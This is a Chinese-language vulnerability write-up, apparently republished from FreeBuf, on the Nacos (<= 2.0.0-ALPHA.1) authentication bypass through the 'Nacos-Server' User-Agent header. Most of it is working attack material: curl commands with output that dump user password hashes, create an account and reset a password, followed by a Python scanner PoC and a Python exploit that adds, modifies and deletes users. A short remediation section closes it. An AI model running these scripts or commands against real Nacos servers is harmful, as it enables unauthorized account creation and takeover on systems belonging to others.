标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-3060] 作者: 羽毛 发表于: [2022-04-02]
本文共 [551] 位读者顶过
漏洞简介Nacos是一套帮助发现、配置和管理微服务的程序。提供一组简单易用的特性集,能够快速的实现动态服务发现、服务配置、服务元数据以及流量管理。 2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。 https://github.com/alibaba/nacos/issues/1105 在Nacos 2.0版本存在未授权访问漏洞,程序未有效对于用户权限进行判断,导致能够添加任意用户、修改任意用户密码等等问题。 危害等级:高危 影响范围 : Nacos <= 2.0.0-ALPHA.1 漏洞检测漏洞环境: https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1 环境启动: # 压缩包解压后,进入启动目录; root@vul:~/7_tar# cd nacos/bin/ root@vul:~/7_tar/nacos/bin# ls derby.log logs shutdown.cmd shutdown.sh startup.cmd startup.sh work # 启动单节点模式; ./startup.sh -m standalone # Linux .\startup.cmd -m standalone # Windows 访问地址: 访问http://127.0.0.1:8848/nacos即可看到登录页面; 用户名:密码 naocs:nacos 未授权访问漏洞验证: ┌──(root@kali)-[~] └─# curl -X GET 'http://10.0.0.128:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent:Nacos-Server' {"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]} # 有的文章中表示,需要在头中加"User-Agent:Nacos-Server"才行,但在我的环境里不加也可以执行 未授权添加用户: ┌──(root@kali)-[~] └─# curl -X POST 'http://10.0.0.128:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server' {"code":200,"message":"create user ok!","data":null} ┌──(root@kali)-[~] └─# curl -XPOST 'http://10.0.0.128:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server' caused: user 'test1' already exist!; # 测试用户已添加完成,且不可用相同请求手段进行密码覆盖 验证结果: ┌──(root@kali)-[~] └─# curl -X GET 'http://10.0.0.128:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent:Nacos-Server' {"totalCount":2,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"},{"username":"test1","password":"$2a$10$UslBazd8.Upm68hg3VV.jee9zMzqGcF10yJp3Sc6LecrIqW4U3npC"}]} 通过网页访问的方式也可以登录; 修改已有用户的密码: ┌──(root@kali)-[~] └─# curl -X PUT 'http://10.0.0.128:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2' {"code":200,"message":"update user ok!","data":null} 接口设计: 以下接口涉及到登录和鉴权的所有逻辑,这些接口除了登录接口,其他接口都只能由全局管理员来调用。 用户管理 创建用户:POST /nacos/v1/auth/users?username=xx&password=yy 删除用户:DELETE /nacos/v1/auth/users?username=xx&password=yy 更新用户:PUT /nacos/v1/auth/users?username=xx&oldPassword=yy&newPassword=zz 登录:POST /nacos/v1/auth/users/login?username=xxx&password=yyy 角色管理 创建角色/绑定用户到角色:POST /nacos/v1/auth/roles?role=xx&username=yy 删除某个用户的角色:DELETE /nacos/v1/auth/roles?role=xx&username=yy 获取用户的所有角色:GET /nacos/v1/auth/roles?username=xxx 权限管理 给角色添加权限:POST /nacos/v1/auth/permissions?role=xxx&resource=yyy&action=zzz 从角色删除权限:DELETE /nacos/v1/auth/permissions?role=xxx&resource=yyy&action=zzz 获取某个角色的权限:GET /nacos/v1/auth/permissions?role=xxx poc: #!/usr/bin/env python3 # -*- coding:utf-8 -*- # Author:No.2768 import requests import re import json import sys Headers = { "User-Agent": "Nacos-Server", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9" } def Poc1_Unauth(Url2): Url3 = Url2 + "/v1/auth/users" # print(Url3) Params = "pageNo=1&pageSize=9" try: req1 = requests.get(Url3, params = Params, headers = Headers) # print(req1.text) if '"username":' in req1.text: print("\033[0;31;40m[+]\033[0m Found Unauthorized Access:", Url3) else: print("\033[0;32;40m[+]\033[0m Not Found Unauthorized Access:", Url3) except Exception as e: print(e) def Check_Nacos(Url1): Url2 = Url1 + "/nacos" try: req1 = requests.get(Url2, headers = Headers) if req1.status_code == 200: Poc1_Unauth(Url2) else: print("no service: nacos") return 2 except Exception as e: print(e) if __name__ == "__main__": Ip_Addr = sys.argv[1] Port = sys.argv[2] Url1 = "http://" + Ip_Addr + ":" + Port # print(Url1) Check_Nacos(Url1) exp: #!/usr/bin/env python3 # -*- coding:utf-8 -*- # Author:2768 import requests import re import json import sys Headers = { "User-Agent": "Nacos-Server", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9" } def Exp1_AddUser(Url0): Url1 = Url0 + "/nacos/v1/auth/users" #print(Url1) UserName = "test1" Data1 = { "username":UserName, "password":UserName } try: req1 = requests.post(Url1, data = Data1, headers = Headers) #print(req1.status_code) #print(req1.text) if (req1.status_code == 400) and ("exist!" in req1.text): print("user '%s' already exist!" %UserName) elif (req1.status_code == 200) and ("ok!" in req1.text): print("create user '%s' ok!" %UserName) else: print("failed to add user") except Exception as e: print(e) def Exp2_ChangePasswd(Url0): Url2 = Url0 + "/nacos/v1/auth/users" UserName = "test1" # 同样可以修改管理员用户:nacos的密码; #print(Url2) Data2 = { "accessToken":"", "username":UserName, "newPassword":"123456" } #print(Data2) try: req2 = requests.put(Url2, data = Data2, headers = Headers) #print(req2.status_code) #print(req2.text) if (req2.status_code == 200) and ("ok!" in req2.text): print("update user '%s' ok!" %UserName) else: print("failed to change password") except Exception as e: print(e) def Exp4_DeleteUser(Url0): Url4 = Url0 + "/nacos/v1/auth/users" #print(Url4) UserName = "test1" Params4 = { "username":UserName } try: req4 = requests.delete(Url4, params = Params4) #print(req4.status_code) #print(req4.text) if (req4.status_code == 200) and (" ok!" in req4.text): print("delete user '%s' ok!" %UserName) else: print("delete user error") except Exception as e: print(e) if __name__ == "__main__": Ip_Addr = sys.argv[1] Port = sys.argv[2] Url0 = "http://" + Ip_Addr + ":" + Port # print(Url0) Exp1_AddUser(Url0) Exp2_ChangePasswd(Url0) # Exp3_PrivilegePromotion(Url0) # nacos的管理员角色(ROLE_ADMIN)不能添加用户,构建失败,只能根据具体情况进行构建 Exp4_DeleteUser(Url0) 更多exp可以根据自己需要编写; 漏洞修复使用白名单的方式限制可以访问的主体; 目前官方已发布新版本,升级nacos版本:https://github.com/alibaba/nacos/; 漏洞环境https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1 参考:
来自FreeBuf.COM[出自:jiwo.org] |